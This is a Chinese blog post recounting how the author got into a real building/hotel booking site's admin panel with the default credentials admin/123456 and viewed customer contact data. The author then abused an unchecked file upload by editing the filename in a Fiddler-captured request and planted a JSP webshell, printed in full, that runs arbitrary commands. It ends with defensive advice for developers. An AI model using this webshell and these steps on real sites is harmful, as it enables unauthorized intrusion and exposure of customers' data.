一次某大厦网站的webshell 记录

一次某大厦网站的webshell 记录

本文记于 2016年初,内容较为基础,只适合初学者。不久前看该网站的几个问题已经修复了,便将文章放出来,主要普及一些基本安全意识和网络工具(Fiddler)的使用,及抓取漏洞的一些思路。本文主要涉及到的网络安全知识有:弱口令、上传文件漏洞。

1 从“盲猫踏见死老鼠”开始
在某网站闲逛,看到几个友谊链接网站,之后手贱去点击几个看看。看了几个网站也没有看到什么感兴趣的,下拉下滚动条到最低部,有个“XXX大厦”链接,之后点击进去是个酒店订购的网站,发现一个很显眼醒目的登录框框。

登录框框连个验证码都不加上,也够不专业了。

很多系统都带有默认的帐号和和密码,维护者偷懒查查也懒得修改这个默认的设置。

看到这个页面时候,习惯性的输入用户名:admin,密码123456。点击登录,看到欢迎页面,连第二次尝试密码机会都不给,就居然进入了,这……,直接点击“进入系统”。

2 闲逛

进入系统啥逛,东西还是蛮多的,各种设置。其中有个系统设置,可以增加管理员帐号和修改密码。

当然也可以看到很多客户信息,如帐号电话邮箱等,不过密码没有暴露出来。其实也没有很多太敏感的数据,兜了一圈就出来了。同时也把这弱口令网站分享给同事,同事居然把这问题上报给乌云了(抓狂),如果这样问题弱口令问题被修复了,本文就到此结束了或者就没有记录的欲望了。所幸,乌云返回是“问题不大”什么的 不了了之。

3 尝试上传文件

很多天过去了,某日看web shell 相关文章,突然想起这个网站,就想试试练习下~~。

该网站上传文件的入口很多,不过不想修改到比较敏感的位置,比如“酒店预定页基本信息”页面,省的修改了马上被发现。同时也需要上传后方便查看上传后的路径,所以就找了“欢迎页”的自定义 个性化里面的入口。

尝试了几个系统自带的默认背景,观察到左边皮肤的变更和其元素路径的变化。

选择了一个test.txt 文件(里面就是乱敲了几下键盘)上传,提示只允许  jpg gif 等图片格式文件,呵呵,这步大多数的网站估计都会有判断的。

把test.txt 改名为test.jpg 点击上传,没有任何错误提示,可以看到元素路径变化为src=”/dhfs/upload/03240/personal/34450/test.jpg”了,注意,文件名没有发生变化。

试下把这个/dhfs/upload/03240/personal/34450/test.jpg 下载下来,里面的内容和原来的一样,可以知道服务端没有对图片进行检测、压缩、修改等等的改变了。

4  welshell & 猜测服务端开发语言

用html 数据(如下)填充test文件再上传。

打开Fiddler 进行抓包,再上传刚刚的那个test.jpg。

查看Fiddler 抓去到的那个post 数据包,右键勾选 unlock for edit,把右边的文件名修改成test.html,之后去除unlock for edit,右键重复请求包。

 

用浏览器打开 /dhfs/upload/03240/personal/34450/下的 test.html,可以看到如下,确认服务器已经存在上传文件漏洞了。

目前还没有知道服务端是通过什么语言开发的,通过url 和几次抓包 都没有看出服务端是通过什么语言来开发。鉴于web服务器配置的特点,如果目录下存在一个对应语言的index文件,访问目录时候,就能正常显示页面了。可以依据这个来判断服务端是什么语言的。

准备依次修改请求包中的文件名为 index.php,index.jsp,index.asp,当把文件名修改为jsp 时候,发现页面就能够正常显示了。

之后,找个jsp 的welshell 上传上去试试,网上找了个简单的,内容如下:

<%@ page import="java.io.*" %>
<%
try {
    String cmd = request.getParameter("cmd");
    Process child = Runtime.getRuntime().exec(cmd);
    InputStream in = child.getInputStream();
    int c;
    while ((c = in.read()) != -1) {
        if(c==10 || c==13) {
            out.print("<br/>");
        }else{
            out.print((char)c);
        }
    }
    in.close();
    try {
        child.waitFor();
    } catch (InterruptedException e) {
        e.printStackTrace();
    }
    } catch (IOException e) {
        System.err.println(e);
    }
%>

上传,之后查看效果,输入cmd=ls,效果如下:

5 结尾

到这里已经可以通过cmd 命令yy 服务器了,不过这些命令还是低权限的,很多命令可以通过,当然也有很多操作都会失败,没有提权的功力,本人菜鸟,目前只玩到这里了。不确定这个服务端是临时工写的还是网络不注重安全性问题,理应在服务端禁止某些目录的文件执行,至少,也要在上传文件做下文件类型检测过滤或者修改。

后记:本文只是记录一些基本安全问题,用户或者网站管理员(特别是开发者)应该主要下面几点问题:

1)暴露出去的入口,切记要修改掉默认账号和密码,且不能偷懒贪方便而使用弱口令,弱口令在爆破中会被优先尝试,如果使用脚本来跑,几乎是秒破的。下面是2016年世界常用口令,也就是常用的弱口令了。

2)在配置头像背景等的上传操作接口上,网站后端应该加强检测,不能完全依赖前端进行检查,毕竟前端在攻击者手上,想绕过还是比较容易的。在接受终端(前端)数据时候,做二次检测是不可少的,修改头像等就应该检测下是否是图片数据,而不应该接受任何格式数据(更不能完全依赖前端检测)。

3)附件目录应该为不可执行,设置下该属性,那么上传的脚本也不会出现执行了,至少能抵挡一些基本的攻击。

发表评论

电子邮件地址不会被公开。 必填项已用*标注